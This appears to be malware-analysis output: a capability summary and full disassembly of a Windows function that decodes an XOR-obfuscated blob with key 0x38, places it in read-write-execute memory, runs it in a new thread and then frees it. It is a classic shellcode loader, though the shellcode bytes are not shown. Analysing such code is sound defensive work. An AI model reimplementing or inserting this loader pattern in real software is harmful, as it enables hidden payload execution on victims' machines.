Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x210
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x208], rax
mov esi, 3
lea rdx, [rsp + 0x30]
mov ecx, esi
lea rax, [0x140003260]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001040
mov rcx, qword [rax + 0x40]
mov ebx, 0x1cc
movups xmm0, xmmword [rax]
mov r9d, 0x40
mov r8d, pe_overlay
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
mov qword [rdx + 0x40], rcx
mov ecx, dword [rax + 0x48]
mov dword [rdx + 0x48], ecx
movzx ecx, byte [rax + 0x4c]
mov byte [rdx + 0x4c], cl
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea rcx, [rsp + 0x1fb]
add rax, 0x1cb
cmp rdi, rcx
ja 0x140001110
lea rcx, [rsp + 0x30]
cmp rax, rcx
jb 0x140001110
lea rdx, [rsp + 0x30]
xor r8d, r8d
sub rdx, rdi
xor eax, eax
jmp 0x140001189
movdqa xmm2, xmmword [str.8888888888888888_]
lea rdx, [rsp + 0x30]
lea r9, [rsp + 0x40]
sub rdx, rdi
lea r10, [rsp + 0x50]
sub r9, rdi
sub r10, rdi
lea r11, [rsp + 0x60]
sub r11, rdi
mov rcx, rdi
mov r8d, 0x1c0
movdqu xmm0, xmmword [rdx + rcx]
movdqu xmm1, xmmword [r9 + rcx]
xorps xmm0, xmm2
movdqu xmmword [rcx], xmm0
movdqu xmm0, xmmword [rcx + r10]
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmm1, xmmword [r11 + rcx]
xorps xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x30], xmm1
add rcx, 0x40
mov rax, rcx
sub rax, rdi
cmp rax, r8
jl 0x140001141
mov rax, r8
lea rcx, [r8 + rdi]
sub rbx, rax
movzx eax, byte [rdx + rcx]
lea rcx, [rcx + 1]
xor al, 0x38
mov byte [rcx - 1], al
sub rbx, 1
jne 0x140001190
mov rcx, rdi
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rsi, 1
jne 0x1400011b0
mov rax, qword [rdx + 0x40]
xor r9d, r9d
movups xmm0, xmmword [rdx]
mov r8, rdi
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
xor edx, edx
mov dword [rcx + 0x48], eax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov rcx, qword [rsp + 0x208]
xor rcx, rsp
call fcn.1400012b0
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret